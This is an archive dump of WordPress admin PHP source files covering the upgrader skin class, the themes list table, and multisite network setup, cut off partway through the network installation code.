 * @return WP_Screen|null Current screen object or null when screen not defined.
 */
function get_current_screen() {
	global $current_screen;

	if ( ! isset( $current_screen ) ) {
		return null;
	}

	return $current_screen;
}

/**
 * Set the current screen object
 *
 * @since 3.0.0
 *
 * @param string|WP_Screen $hook_name Optional. The hook name (also known as the hook suffix) used to determine the screen,
 *                                    or an existing screen object.
 */
function set_current_screen( $hook_name = '' ) {
	WP_Screen::get( $hook_name )->set_current_screen();
}
class-wp-upgrader-skin.php000064400000014623150275632050011572 0ustar00<?php
/**
 * Upgrader API: WP_Upgrader_Skin class
 *
 * @package WordPress
 * @subpackage Upgrader
 * @since 4.6.0
 */

/**
 * Generic Skin for the WordPress Upgrader classes. This skin is designed to be extended for specific purposes.
 *
 * @since 2.8.0
 * @since 4.6.0 Moved to its own file from wp-admin/includes/class-wp-upgrader-skins.php.
 */
#[AllowDynamicProperties]
class WP_Upgrader_Skin {

	/**
	 * Holds the upgrader data.
	 *
	 * @since 2.8.0
	 *
	 * @var WP_Upgrader
	 */
	public $upgrader;

	/**
	 * Whether header is done.
	 *
	 * @since 2.8.0
	 *
	 * @var bool
	 */
	public $done_header = false;

	/**
	 * Whether footer is done.
	 *
	 * @since 2.8.0
	 *
	 * @var bool
	 */
	public $done_footer = false;

	/**
	 * Holds the result of an upgrade.
	 *
	 * @since 2.8.0
	 *
	 * @var string|bool|WP_Error
	 */
	public $result = false;

	/**
	 * Holds the options of an upgrade.
	 *
	 * @since 2.8.0
	 *
	 * @var array
	 */
	public $options = array();

	/**
	 * Constructor.
	 *
	 * Sets up the generic skin for the WordPress Upgrader classes.
	 *
	 * @since 2.8.0
	 *
	 * @param array $args Optional. The WordPress upgrader skin arguments to
	 *                    override default options. Default empty array.
	 */
	public function __construct( $args = array() ) {
		$defaults      = array(
			'url'     => '',
			'nonce'   => '',
			'title'   => '',
			'context' => false,
		);
		$this->options = wp_parse_args( $args, $defaults );
	}

	/**
	 * @since 2.8.0
	 *
	 * @param WP_Upgrader $upgrader
	 */
	public function set_upgrader( &$upgrader ) {
		if ( is_object( $upgrader ) ) {
			$this->upgrader =& $upgrader;
		}
		$this->add_strings();
	}

	/**
	 * @since 3.0.0
	 */
	public function add_strings() {
	}

	/**
	 * Sets the result of an upgrade.
	 *
	 * @since 2.8.0
	 *
	 * @param string|bool|WP_Error $result The result of an upgrade.
	 */
	public function set_result( $result ) {
		$this->result = $result;
	}

	/**
	 * Displays a form to the user to request for their FTP/SSH details in order
	 * to connect to the filesystem.
	 *
	 * @since 2.8.0
	 * @since 4.6.0 The `$context` parameter default changed from `false` to an empty string.
	 *
	 * @see request_filesystem_credentials()
	 *
	 * @param bool|WP_Error $error                        Optional. Whether the current request has failed to connect,
	 *                                                    or an error object. Default false.
	 * @param string        $context                      Optional. Full path to the directory that is tested
	 *                                                    for being writable. Default empty.
	 * @param bool          $allow_relaxed_file_ownership Optional. Whether to allow Group/World writable. Default false.
	 * @return bool True on success, false on failure.
	 */
	public function request_filesystem_credentials( $error = false, $context = '', $allow_relaxed_file_ownership = false ) {
		$url = $this->options['url'];
		if ( ! $context ) {
			$context = $this->options['context'];
		}
		if ( ! empty( $this->options['nonce'] ) ) {
			$url = wp_nonce_url( $url, $this->options['nonce'] );
		}

		$extra_fields = array();

		return request_filesystem_credentials( $url, '', $error, $context, $extra_fields, $allow_relaxed_file_ownership );
	}

	/**
	 * @since 2.8.0
	 */
	public function header() {
		if ( $this->done_header ) {
			return;
		}
		$this->done_header = true;
		echo '<div class="wrap">';
		echo '<h1>' . $this->options['title'] . '</h1>';
	}

	/**
	 * @since 2.8.0
	 */
	public function footer() {
		if ( $this->done_footer ) {
			return;
		}
		$this->done_footer = true;
		echo '</div>';
	}

	/**
	 * @since 2.8.0
	 *
	 * @param string|WP_Error $errors Errors.
	 */
	public function error( $errors ) {
		if ( ! $this->done_header ) {
			$this->header();
		}
		if ( is_string( $errors ) ) {
			$this->feedback( $errors );
		} elseif ( is_wp_error( $errors ) && $errors->has_errors() ) {
			foreach ( $errors->get_error_messages() as $message ) {
				if ( $errors->get_error_data() && is_string( $errors->get_error_data() ) ) {
					$this->feedback( $message . ' ' . esc_html( strip_tags( $errors->get_error_data() ) ) );
				} else {
					$this->feedback( $message );
				}
			}
		}
	}

	/**
	 * @since 2.8.0
	 * @since 5.9.0 Renamed `$string` (a PHP reserved keyword) to `$feedback` for PHP 8 named parameter support.
	 *
	 * @param string $feedback Message data.
	 * @param mixed  ...$args  Optional text replacements.
	 */
	public function feedback( $feedback, ...$args ) {
		if ( isset( $this->upgrader->strings[ $feedback ] ) ) {
			$feedback = $this->upgrader->strings[ $feedback ];
		}

		if ( str_contains( $feedback, '%' ) ) {
			if ( $args ) {
				$args     = array_map( 'strip_tags', $args );
				$args     = array_map( 'esc_html', $args );
				$feedback = vsprintf( $feedback, $args );
			}
		}
		if ( empty( $feedback ) ) {
			return;
		}
		show_message( $feedback );
	}

	/**
	 * Performs an action before an update.
	 *
	 * @since 2.8.0
	 */
	public function before() {}

	/**
	 * Performs and action following an update.
	 *
	 * @since 2.8.0
	 */
	public function after() {}

	/**
	 * Outputs JavaScript that calls function to decrement the update counts.
	 *
	 * @since 3.9.0
	 *
	 * @param string $type Type of update count to decrement. Likely values include 'plugin',
	 *                     'theme', 'translation', etc.
	 */
	protected function decrement_update_count( $type ) {
		if ( ! $this->result || is_wp_error( $this->result ) || 'up_to_date' === $this->result ) {
			return;
		}

		if ( defined( 'IFRAME_REQUEST' ) ) {
			echo '<script type="text/javascript">
					if ( window.postMessage && JSON ) {
						window.parent.postMessage( JSON.stringify( { action: "decrementUpdateCount", upgradeType: "' . $type . '" } ), window.location.protocol + "//" + window.location.hostname );
					}
				</script>';
		} else {
			echo '<script type="text/javascript">
					(function( wp ) {
						if ( wp && wp.updates && wp.updates.decrementCount ) {
							wp.updates.decrementCount( "' . $type . '" );
						}
					})( window.wp );
				</script>';
		}
	}

	/**
	 * @since 3.0.0
	 */
	public function bulk_header() {}

	/**
	 * @since 3.0.0
	 */
	public function bulk_footer() {}

	/**
	 * Hides the `process_failed` error message when updating by uploading a zip file.
	 *
	 * @since 5.5.0
	 *
	 * @param WP_Error $wp_error WP_Error object.
	 * @return bool True if the error should be hidden, false otherwise.
	 */
	public function hide_process_failed( $wp_error ) {
		return false;
	}
}
class-wp-themes-list-table.php000064400000024047150275632050012343 0ustar00<?php
/**
 * List Table API: WP_Themes_List_Table class
 *
 * @package WordPress
 * @subpackage Administration
 * @since 3.1.0
 */

/**
 * Core class used to implement displaying installed themes in a list table.
 *
 * @since 3.1.0
 *
 * @see WP_List_Table
 */
class WP_Themes_List_Table extends WP_List_Table {

	protected $search_terms = array();
	public $features        = array();

	/**
	 * Constructor.
	 *
	 * @since 3.1.0
	 *
	 * @see WP_List_Table::__construct() for more information on default arguments.
	 *
	 * @param array $args An associative array of arguments.
	 */
	public function __construct( $args = array() ) {
		parent::__construct(
			array(
				'ajax'   => true,
				'screen' => isset( $args['screen'] ) ? $args['screen'] : null,
			)
		);
	}

	/**
	 * @return bool
	 */
	public function ajax_user_can() {
		// Do not check edit_theme_options here. Ajax calls for available themes require switch_themes.
		return current_user_can( 'switch_themes' );
	}

	/**
	 */
	public function prepare_items() {
		$themes = wp_get_themes( array( 'allowed' => true ) );

		if ( ! empty( $_REQUEST['s'] ) ) {
			$this->search_terms = array_unique( array_filter( array_map( 'trim', explode( ',', strtolower( wp_unslash( $_REQUEST['s'] ) ) ) ) ) );
		}

		if ( ! empty( $_REQUEST['features'] ) ) {
			$this->features = $_REQUEST['features'];
		}

		if ( $this->search_terms || $this->features ) {
			foreach ( $themes as $key => $theme ) {
				if ( ! $this->search_theme( $theme ) ) {
					unset( $themes[ $key ] );
				}
			}
		}

		unset( $themes[ get_option( 'stylesheet' ) ] );
		WP_Theme::sort_by_name( $themes );

		$per_page = 36;
		$page     = $this->get_pagenum();

		$start = ( $page - 1 ) * $per_page;

		$this->items = array_slice( $themes, $start, $per_page, true );

		$this->set_pagination_args(
			array(
				'total_items'     => count( $themes ),
				'per_page'        => $per_page,
				'infinite_scroll' => true,
			)
		);
	}

	/**
	 */
	public function no_items() {
		if ( $this->search_terms || $this->features ) {
			_e( 'No items found.' );
			return;
		}

		$blog_id = get_current_blog_id();
		if ( is_multisite() ) {
			if ( current_user_can( 'install_themes' ) && current_user_can( 'manage_network_themes' ) ) {
				printf(
					/* translators: 1: URL to Themes tab on Edit Site screen, 2: URL to Add Themes screen. */
					__( 'You only have one theme enabled for this site right now. Visit the Network Admin to <a href="%1$s">enable</a> or <a href="%2$s">install</a> more themes.' ),
					network_admin_url( 'site-themes.php?id=' . $blog_id ),
					network_admin_url( 'theme-install.php' )
				);

				return;
			} elseif ( current_user_can( 'manage_network_themes' ) ) {
				printf(
					/* translators: %s: URL to Themes tab on Edit Site screen. */
					__( 'You only have one theme enabled for this site right now. Visit the Network Admin to <a href="%s">enable</a> more themes.' ),
					network_admin_url( 'site-themes.php?id=' . $blog_id )
				);

				return;
			}
			// Else, fallthrough. install_themes doesn't help if you can't enable it.
		} else {
			if ( current_user_can( 'install_themes' ) ) {
				printf(
					/* translators: %s: URL to Add Themes screen. */
					__( 'You only have one theme installed right now. Live a little! You can choose from over 1,000 free themes in the WordPress Theme Directory at any time: just click on the <a href="%s">Install Themes</a> tab above.' ),
					admin_url( 'theme-install.php' )
				);

				return;
			}
		}
		// Fallthrough.
		printf(
			/* translators: %s: Network title. */
			__( 'Only the active theme is available to you. Contact the %s administrator for information about accessing additional themes.' ),
			get_site_option( 'site_name' )
		);
	}

	/**
	 * @param string $which
	 */
	public function tablenav( $which = 'top' ) {
		if ( $this->get_pagination_arg( 'total_pages' ) <= 1 ) {
			return;
		}
		?>
		<div class="tablenav themes <?php echo $which; ?>">
			<?php $this->pagination( $which ); ?>
			<span class="spinner"></span>
			<br class="clear" />
		</div>
		<?php
	}

	/**
	 * Displays the themes table.
	 *
	 * Overrides the parent display() method to provide a different container.
	 *
	 * @since 3.1.0
	 */
	public function display() {
		wp_nonce_field( 'fetch-list-' . get_class( $this ), '_ajax_fetch_list_nonce' );
		?>
		<?php $this->tablenav( 'top' ); ?>

		<div id="availablethemes">
			<?php $this->display_rows_or_placeholder(); ?>
		</div>

		<?php $this->tablenav( 'bottom' ); ?>
		<?php
	}

	/**
	 * @return string[] Array of column titles keyed by their column name.
	 */
	public function get_columns() {
		return array();
	}

	/**
	 */
	public function display_rows_or_placeholder() {
		if ( $this->has_items() ) {
			$this->display_rows();
		} else {
			echo '<div class="no-items">';
			$this->no_items();
			echo '</div>';
		}
	}

	/**
	 */
	public function display_rows() {
		$themes = $this->items;

		foreach ( $themes as $theme ) :
			?>
			<div class="available-theme">
			<?php

			$template   = $theme->get_template();
			$stylesheet = $theme->get_stylesheet();
			$title      = $theme->display( 'Name' );
			$version    = $theme->display( 'Version' );
			$author     = $theme->display( 'Author' );

			$activate_link = wp_nonce_url( 'themes.php?action=activate&amp;template=' . urlencode( $template ) . '&amp;stylesheet=' . urlencode( $stylesheet ), 'switch-theme_' . $stylesheet );

			$actions             = array();
			$actions['activate'] = sprintf(
				'<a href="%s" class="activatelink" title="%s">%s</a>',
				$activate_link,
				/* translators: %s: Theme name. */
				esc_attr( sprintf( _x( 'Activate &#8220;%s&#8221;', 'theme' ), $title ) ),
				__( 'Activate' )
			);

			if ( current_user_can( 'edit_theme_options' ) && current_user_can( 'customize' ) ) {
				$actions['preview'] .= sprintf(
					'<a href="%s" class="load-customize hide-if-no-customize">%s</a>',
					wp_customize_url( $stylesheet ),
					__( 'Live Preview' )
				);
			}

			if ( ! is_multisite() && current_user_can( 'delete_themes' ) ) {
				$actions['delete'] = sprintf(
					'<a class="submitdelete deletion" href="%s" onclick="return confirm( \'%s\' );">%s</a>',
					wp_nonce_url( 'themes.php?action=delete&amp;stylesheet=' . urlencode( $stylesheet ), 'delete-theme_' . $stylesheet ),
					/* translators: %s: Theme name. */
					esc_js( sprintf( __( "You are about to delete this theme '%s'\n  'Cancel' to stop, 'OK' to delete." ), $title ) ),
					__( 'Delete' )
				);
			}

			/** This filter is documented in wp-admin/includes/class-wp-ms-themes-list-table.php */
			$actions = apply_filters( 'theme_action_links', $actions, $theme, 'all' );

			/** This filter is documented in wp-admin/includes/class-wp-ms-themes-list-table.php */
			$actions       = apply_filters( "theme_action_links_{$stylesheet}", $actions, $theme, 'all' );
			$delete_action = isset( $actions['delete'] ) ? '<div class="delete-theme">' . $actions['delete'] . '</div>' : '';
			unset( $actions['delete'] );

			$screenshot = $theme->get_screenshot();
			?>

			<span class="screenshot hide-if-customize">
				<?php if ( $screenshot ) : ?>
					<img src="<?php echo esc_url( $screenshot . '?ver=' . $theme->version ); ?>" alt="" />
				<?php endif; ?>
			</span>
			<a href="<?php echo wp_customize_url( $stylesheet ); ?>" class="screenshot load-customize hide-if-no-customize">
				<?php if ( $screenshot ) : ?>
					<img src="<?php echo esc_url( $screenshot . '?ver=' . $theme->version ); ?>" alt="" />
				<?php endif; ?>
			</a>

			<h3><?php echo $title; ?></h3>
			<div class="theme-author">
				<?php
					/* translators: %s: Theme author. */
					printf( __( 'By %s' ), $author );
				?>
			</div>
			<div class="action-links">
				<ul>
					<?php foreach ( $actions as $action ) : ?>
						<li><?php echo $action; ?></li>
					<?php endforeach; ?>
					<li class="hide-if-no-js"><a href="#" class="theme-detail"><?php _e( 'Details' ); ?></a></li>
				</ul>
				<?php echo $delete_action; ?>

				<?php theme_update_available( $theme ); ?>
			</div>

			<div class="themedetaildiv hide-if-js">
				<p><strong><?php _e( 'Version:' ); ?></strong> <?php echo $version; ?></p>
				<p><?php echo $theme->display( 'Description' ); ?></p>
				<?php
				if ( $theme->parent() ) {
					printf(
						/* translators: 1: Link to documentation on child themes, 2: Name of parent theme. */
						' <p class="howto">' . __( 'This <a href="%1$s">child theme</a> requires its parent theme, %2$s.' ) . '</p>',
						__( 'https://developer.wordpress.org/themes/advanced-topics/child-themes/' ),
						$theme->parent()->display( 'Name' )
					);
				}
				?>
			</div>

			</div>
			<?php
		endforeach;
	}

	/**
	 * @param WP_Theme $theme
	 * @return bool
	 */
	public function search_theme( $theme ) {
		// Search the features.
		foreach ( $this->features as $word ) {
			if ( ! in_array( $word, $theme->get( 'Tags' ), true ) ) {
				return false;
			}
		}

		// Match all phrases.
		foreach ( $this->search_terms as $word ) {
			if ( in_array( $word, $theme->get( 'Tags' ), true ) ) {
				continue;
			}

			foreach ( array( 'Name', 'Description', 'Author', 'AuthorURI' ) as $header ) {
				// Don't mark up; Do translate.
				if ( false !== stripos( strip_tags( $theme->display( $header, false, true ) ), $word ) ) {
					continue 2;
				}
			}

			if ( false !== stripos( $theme->get_stylesheet(), $word ) ) {
				continue;
			}

			if ( false !== stripos( $theme->get_template(), $word ) ) {
				continue;
			}

			return false;
		}

		return true;
	}

	/**
	 * Send required variables to JavaScript land
	 *
	 * @since 3.4.0
	 *
	 * @param array $extra_args
	 */
	public function _js_vars( $extra_args = array() ) {
		$search_string = isset( $_REQUEST['s'] ) ? esc_attr( wp_unslash( $_REQUEST['s'] ) ) : '';

		$args = array(
			'search'      => $search_string,
			'features'    => $this->features,
			'paged'       => $this->get_pagenum(),
			'total_pages' => ! empty( $this->_pagination_args['total_pages'] ) ? $this->_pagination_args['total_pages'] : 1,
		);

		if ( is_array( $extra_args ) ) {
			$args = array_merge( $args, $extra_args );
		}

		printf( "<script type='text/javascript'>var theme_list_args = %s;</script>\n", wp_json_encode( $args ) );
		parent::_js_vars();
	}
}
network.php000064400000065653150275632050006772 0ustar00<?php
/**
 * WordPress Network Administration API.
 *
 * @package WordPress
 * @subpackage Administration
 * @since 4.4.0
 */

/**
 * Check for an existing network.
 *
 * @since 3.0.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @return string|false Base domain if network exists, otherwise false.
 */
function network_domain_check() {
	global $wpdb;

	$sql = $wpdb->prepare( 'SHOW TABLES LIKE %s', $wpdb->esc_like( $wpdb->site ) );
	if ( $wpdb->get_var( $sql ) ) {
		return $wpdb->get_var( "SELECT domain FROM $wpdb->site ORDER BY id ASC LIMIT 1" );
	}
	return false;
}

/**
 * Allow subdomain installation
 *
 * @since 3.0.0
 * @return bool Whether subdomain installation is allowed
 */
function allow_subdomain_install() {
	$domain = preg_replace( '|https?://([^/]+)|', '$1', get_option( 'home' ) );
	if ( parse_url( get_option( 'home' ), PHP_URL_PATH ) || 'localhost' === $domain || preg_match( '|^[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+$|', $domain ) ) {
		return false;
	}

	return true;
}

/**
 * Allow subdirectory installation.
 *
 * @since 3.0.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @return bool Whether subdirectory installation is allowed
 */
function allow_subdirectory_install() {
	global $wpdb;

	/**
	 * Filters whether to enable the subdirectory installation feature in Multisite.
	 *
	 * @since 3.0.0
	 *
	 * @param bool $allow Whether to enable the subdirectory installation feature in Multisite.
	 *                    Default false.
	 */
	if ( apply_filters( 'allow_subdirectory_install', false ) ) {
		return true;
	}

	if ( defined( 'ALLOW_SUBDIRECTORY_INSTALL' ) && ALLOW_SUBDIRECTORY_INSTALL ) {
		return true;
	}

	$post = $wpdb->get_row( "SELECT ID FROM $wpdb->posts WHERE post_date < DATE_SUB(NOW(), INTERVAL 1 MONTH) AND post_status = 'publish'" );
	if ( empty( $post ) ) {
		return true;
	}

	return false;
}

/**
 * Get base domain of network.
 *
 * @since 3.0.0
 * @return string Base domain.
 */
function get_clean_basedomain() {
	$existing_domain = network_domain_check();
	if ( $existing_domain ) {
		return $existing_domain;
	}
	$domain = preg_replace( '|https?://|', '', get_option( 'siteurl' ) );
	$slash  = strpos( $domain, '/' );
	if ( $slash ) {
		$domain = substr( $domain, 0, $slash );
	}
	return $domain;
}

/**
 * Prints step 1 for Network installation process.
 *
 * @todo Realistically, step 1 should be a welcome screen explaining what a Network is and such.
 *       Navigating to Tools > Network should not be a sudden "Welcome to a new install process!
 *       Fill this out and click here." See also contextual help todo.
 *
 * @since 3.0.0
 *
 * @global bool $is_apache
 *
 * @param false|WP_Error $errors Optional. Error object. Default false.
 */
function network_step1( $errors = false ) {
	global $is_apache;

	if ( defined( 'DO_NOT_UPGRADE_GLOBAL_TABLES' ) ) {
		$cannot_define_constant_message  = '<strong>' . __( 'Error:' ) . '</strong> ';
		$cannot_define_constant_message .= sprintf(
			/* translators: %s: DO_NOT_UPGRADE_GLOBAL_TABLES */
			__( 'The constant %s cannot be defined when creating a network.' ),
			'<code>DO_NOT_UPGRADE_GLOBAL_TABLES</code>'
		);

		wp_admin_notice(
			$cannot_define_constant_message,
			array(
				'additional_classes' => array( 'error' ),
			)
		);

		echo '</div>';
		require_once ABSPATH . 'wp-admin/admin-footer.php';
		die();
	}

	$active_plugins = get_option( 'active_plugins' );
	if ( ! empty( $active_plugins ) ) {
		wp_admin_notice(
			'<strong>' . __( 'Warning:' ) . '</strong> ' . sprintf(
				/* translators: %s: URL to Plugins screen. */
				__( 'Please <a href="%s">deactivate your plugins</a> before enabling the Network feature.' ),
				admin_url( 'plugins.php?plugin_status=active' )
			),
			array( 'type' => 'warning' )
		);
		echo '<p>' . __( 'Once the network is created, you may reactivate your plugins.' ) . '</p>';
		echo '</div>';
		require_once ABSPATH . 'wp-admin/admin-footer.php';
		die();
	}

	$hostname  = get_clean_basedomain();
	$has_ports = strstr( $hostname, ':' );
	if ( ( false !== $has_ports && ! in_array( $has_ports, array( ':80', ':443' ), true ) ) ) {
		wp_admin_notice(
			'<strong>' . __( 'Error:' ) . '</strong> ' . __( 'You cannot install a network of sites with your server address.' ),
			array(
				'additional_classes' => array( 'error' ),
			)
		);

		echo '<p>' . sprintf(
			/* translators: %s: Port number. */
			__( 'You cannot use port numbers such as %s.' ),
			'<code>' . $has_ports . '</code>'
		) . '</p>';
		echo '<a href="' . esc_url( admin_url() ) . '">' . __( 'Go to Dashboard' ) . '</a>';
		echo '</div>';
		require_once ABSPATH . 'wp-admin/admin-footer.php';
		die();
	}

	echo '<form method="post">';

	wp_nonce_field( 'install-network-1' );

	$error_codes = array();
	if ( is_wp_error( $errors ) ) {
		$network_created_error_message = '<p><strong>' . __( 'Error: The network could not be created.' ) . '</strong></p>';
		foreach ( $errors->get_error_messages() as $error ) {
			$network_created_error_message .= "<p>$error</p>";
		}
		wp_admin_notice(
			$network_created_error_message,
			array(
				'additional_classes' => array( 'error' ),
				'paragraph_wrap'     => false,
			)
		);
		$error_codes = $errors->get_error_codes();
	}

	if ( ! empty( $_POST['sitename'] ) && ! in_array( 'empty_sitename', $error_codes, true ) ) {
		$site_name = $_POST['sitename'];
	} else {
		/* translators: %s: Default network title. */
		$site_name = sprintf( __( '%s Sites' ), get_option( 'blogname' ) );
	}

	if ( ! empty( $_POST['email'] ) && ! in_array( 'invalid_email', $error_codes, true ) ) {
		$admin_email = $_POST['email'];
	} else {
		$admin_email = get_option( 'admin_email' );
	}
	?>
	<p><?php _e( 'Welcome to the Network installation process!' ); ?></p>
	<p><?php _e( 'Fill in the information below and you&#8217;ll be on your way to creating a network of WordPress sites. Configuration files will be created in the next step.' ); ?></p>
	<?php

	if ( isset( $_POST['subdomain_install'] ) ) {
		$subdomain_install = (bool) $_POST['subdomain_install'];
	} elseif ( apache_mod_loaded( 'mod_rewrite' ) ) { // Assume nothing.
		$subdomain_install = true;
	} elseif ( ! allow_subdirectory_install() ) {
		$subdomain_install = true;
	} else {
		$subdomain_install = false;
		$got_mod_rewrite   = got_mod_rewrite();
		if ( $got_mod_rewrite ) { // Dangerous assumptions.
			$message_class = 'updated';
			$message       = '<p><strong>' . __( 'Warning:' ) . '</strong> ';
			$message      .= '<p>' . sprintf(
				/* translators: %s: mod_rewrite */
				__( 'Please make sure the Apache %s module is installed as it will be used at the end of this installation.' ),
				'<code>mod_rewrite</code>'
			) . '</p>';
		} elseif ( $is_apache ) {
			$message_class = 'error';
			$message       = '<p><strong>' . __( 'Warning:' ) . '</strong> ';
			$message      .= sprintf(
				/* translators: %s: mod_rewrite */
				__( 'It looks like the Apache %s module is not installed.' ),
				'<code>mod_rewrite</code>'
			) . '</p>';
		}

		if ( $got_mod_rewrite || $is_apache ) { // Protect against mod_rewrite mimicry (but ! Apache).
			$message .= '<p>' . sprintf(
				/* translators: 1: mod_rewrite, 2: mod_rewrite documentation URL, 3: Google search for mod_rewrite. */
				__( 'If %1$s is disabled, ask your administrator to enable that module, or look at the <a href="%2$s">Apache documentation</a> or <a href="%3$s">elsewhere</a> for help setting it up.' ),
				'<code>mod_rewrite</code>',
				'https://httpd.apache.org/docs/mod/mod_rewrite.html',
				'https://www.google.com/search?q=apache+mod_rewrite'
			) . '</p>';

			wp_admin_notice(
				$message,
				array(
					'additional_classes' => array( $message_class, 'inline' ),
					'paragraph_wrap'     => false,
				)
			);
		}
	}

	if ( allow_subdomain_install() && allow_subdirectory_install() ) :
		?>
		<h3><?php esc_html_e( 'Addresses of Sites in your Network' ); ?></h3>
		<p><?php _e( 'Please choose whether you would like sites in your WordPress network to use sub-domains or sub-directories.' ); ?>
			<strong><?php _e( 'You cannot change this later.' ); ?></strong></p>
		<p><?php _e( 'You will need a wildcard DNS record if you are going to use the virtual host (sub-domain) functionality.' ); ?></p>
		<?php // @todo Link to an MS readme? ?>
		<table class="form-table" role="presentation">
			<tr>
				<th><label><input type="radio" name="subdomain_install" value="1"<?php checked( $subdomain_install ); ?> /> <?php _e( 'Sub-domains' ); ?></label></th>
				<td>
				<?php
				printf(
					/* translators: 1: Host name. */
					_x( 'like <code>site1.%1$s</code> and <code>site2.%1$s</code>', 'subdomain examples' ),
					$hostname
				);
				?>
				</td>
			</tr>
			<tr>
				<th><label><input type="radio" name="subdomain_install" value="0"<?php checked( ! $subdomain_install ); ?> /> <?php _e( 'Sub-directories' ); ?></label></th>
				<td>
				<?php
				printf(
					/* translators: 1: Host name. */
					_x( 'like <code>%1$s/site1</code> and <code>%1$s/site2</code>', 'subdirectory examples' ),
					$hostname
				);
				?>
				</td>
			</tr>
		</table>

		<?php
	endif;

	if ( WP_CONTENT_DIR !== ABSPATH . 'wp-content' && ( allow_subdirectory_install() || ! allow_subdomain_install() ) ) {
		$subdirectory_warning_message  = '<strong>' . __( 'Warning:' ) . '</strong> ';
		$subdirectory_warning_message .= __( 'Subdirectory networks may not be fully compatible with custom wp-content directories.' );
		wp_admin_notice(
			$subdirectory_warning_message,
			array(
				'additional_classes' => array( 'error', 'inline' ),
			)
		);
	}

	$is_www = str_starts_with( $hostname, 'www.' );
	if ( $is_www ) :
		?>
		<h3><?php esc_html_e( 'Server Address' ); ?></h3>
		<p>
		<?php
		printf(
			/* translators: 1: Site URL, 2: Host name, 3: www. */
			__( 'You should consider changing your site domain to %1$s before enabling the network feature. It will still be possible to visit your site using the %3$s prefix with an address like %2$s but any links will not have the %3$s prefix.' ),
			'<code>' . substr( $hostname, 4 ) . '</code>',
			'<code>' . $hostname . '</code>',
			'<code>www</code>'
		);
		?>
		</p>
		<table class="form-table" role="presentation">
			<tr>
			<th scope='row'><?php esc_html_e( 'Server Address' ); ?></th>
			<td>
				<?php
					printf(
						/* translators: %s: Host name. */
						__( 'The internet address of your network will be %s.' ),
						'<code>' . $hostname . '</code>'
					);
				?>
				</td>
			</tr>
		</table>
		<?php endif; ?>

		<h3><?php esc_html_e( 'Network Details' ); ?></h3>
		<table class="form-table" role="presentation">
		<?php if ( 'localhost' === $hostname ) : ?>
			<tr>
				<th scope="row"><?php esc_html_e( 'Sub-directory Installation' ); ?></th>
				<td>
				<?php
					printf(
						/* translators: 1: localhost, 2: localhost.localdomain */
						__( 'Because you are using %1$s, the sites in your WordPress network must use sub-directories. Consider using %2$s if you wish to use sub-domains.' ),
						'<code>localhost</code>',
						'<code>localhost.localdomain</code>'
					);
					// Uh oh:
				if ( ! allow_subdirectory_install() ) {
					echo ' <strong>' . __( 'Warning:' ) . ' ' . __( 'The main site in a sub-directory installation will need to use a modified permalink structure, potentially breaking existing links.' ) . '</strong>';
				}
				?>
				</td>
			</tr>
		<?php elseif ( ! allow_subdomain_install() ) : ?>
			<tr>
				<th scope="row"><?php esc_html_e( 'Sub-directory Installation' ); ?></th>
				<td>
				<?php
					_e( 'Because your installation is in a directory, the sites in your WordPress network must use sub-directories.' );
					// Uh oh:
				if ( ! allow_subdirectory_install() ) {
					echo ' <strong>' . __( 'Warning:' ) . ' ' . __( 'The main site in a sub-directory installation will need to use a modified permalink structure, potentially breaking existing links.' ) . '</strong>';
				}
				?>
				</td>
			</tr>
		<?php elseif ( ! allow_subdirectory_install() ) : ?>
			<tr>
				<th scope="row"><?php esc_html_e( 'Sub-domain Installation' ); ?></th>
				<td>
				<?php
				_e( 'Because your installation is not new, the sites in your WordPress network must use sub-domains.' );
					echo ' <strong>' . __( 'The main site in a sub-directory installation will need to use a modified permalink structure, potentially breaking existing links.' ) . '</strong>';
				?>
				</td>
			</tr>
		<?php endif; ?>
		<?php if ( ! $is_www ) : ?>
			<tr>
				<th scope='row'><?php esc_html_e( 'Server Address' ); ?></th>
				<td>
					<?php
					printf(
						/* translators: %s: Host name. */
						__( 'The internet address of your network will be %s.' ),
						'<code>' . $hostname . '</code>'
					);
					?>
				</td>
			</tr>
		<?php endif; ?>
			<tr>
				<th scope='row'><label for="sitename"><?php esc_html_e( 'Network Title' ); ?></label></th>
				<td>
					<input name='sitename' id='sitename' type='text' size='45' value='<?php echo esc_attr( $site_name ); ?>' />
					<p class="description">
						<?php _e( 'What would you like to call your network?' ); ?>
					</p>
				</td>
			</tr>
			<tr>
				<th scope='row'><label for="email"><?php esc_html_e( 'Network Admin Email' ); ?></label></th>
				<td>
					<input name='email' id='email' type='text' size='45' value='<?php echo esc_attr( $admin_email ); ?>' />
					<p class="description">
						<?php _e( 'Your email address.' ); ?>
					</p>
				</td>
			</tr>
		</table>
		<?php submit_button( __( 'Install' ), 'primary', 'submit' ); ?>
	</form>
	<?php
}

/**
 * Prints step 2 for Network installation process.
 *
 * @since 3.0.0
 *
 * @global wpdb $wpdb     WordPress database abstraction object.
 * @global bool $is_nginx Whether the server software is Nginx or something else.
 *
 * @param false|WP_Error $errors Optional. Error object. Default false.
 */
function network_step2( $errors = false ) {
	global $wpdb, $is_nginx;

	$hostname          = get_clean_basedomain();
	$slashed_home      = trailingslashit( get_option( 'home' ) );
	$base              = parse_url( $slashed_home, PHP_URL_PATH );
	$document_root_fix = str_replace( '\\', '/', realpath( $_SERVER['DOCUMENT_ROOT'] ) );
	$abspath_fix       = str_replace( '\\', '/', ABSPATH );
	$home_path         = str_starts_with( $abspath_fix, $document_root_fix ) ? $document_root_fix . $base : get_home_path();
	$wp_siteurl_subdir = preg_replace( '#^' . preg_quote( $home_path, '#' ) . '#', '', $abspath_fix );
	$rewrite_base      = ! empty( $wp_siteurl_subdir ) ? ltrim( trailingslashit( $wp_siteurl_subdir ), '/' ) : '';

	$location_of_wp_config = $abspath_fix;
	if ( ! file_exists( ABSPATH . 'wp-config.php' ) && file_exists( dirname( ABSPATH ) . '/wp-config.php' ) ) {
		$location_of_wp_config = dirname( $abspath_fix );
	}
	$location_of_wp_config = trailingslashit( $location_of_wp_config );

	// Wildcard DNS message.
	if ( is_wp_error( $errors ) ) {
		wp_admin_notice(
			$errors->get_error_message(),
			array(
				'additional_classes' => array( 'error' ),
			)
		);
	}

	if ( $_POST ) {
		if ( allow_subdomain_install() ) {
			$subdomain_install = allow_subdirectory_install() ? ! empty( $_POST['subdomain_install'] ) : true;
		} else {
			$subdomain_install = false;
		}
	} else {
		if ( is_multisite() ) {
			$subdomain_install = is_subdomain_install();
			?>
	<p><?php _e( 'The original configuration steps are shown here for reference.' ); ?></p>
			<?php
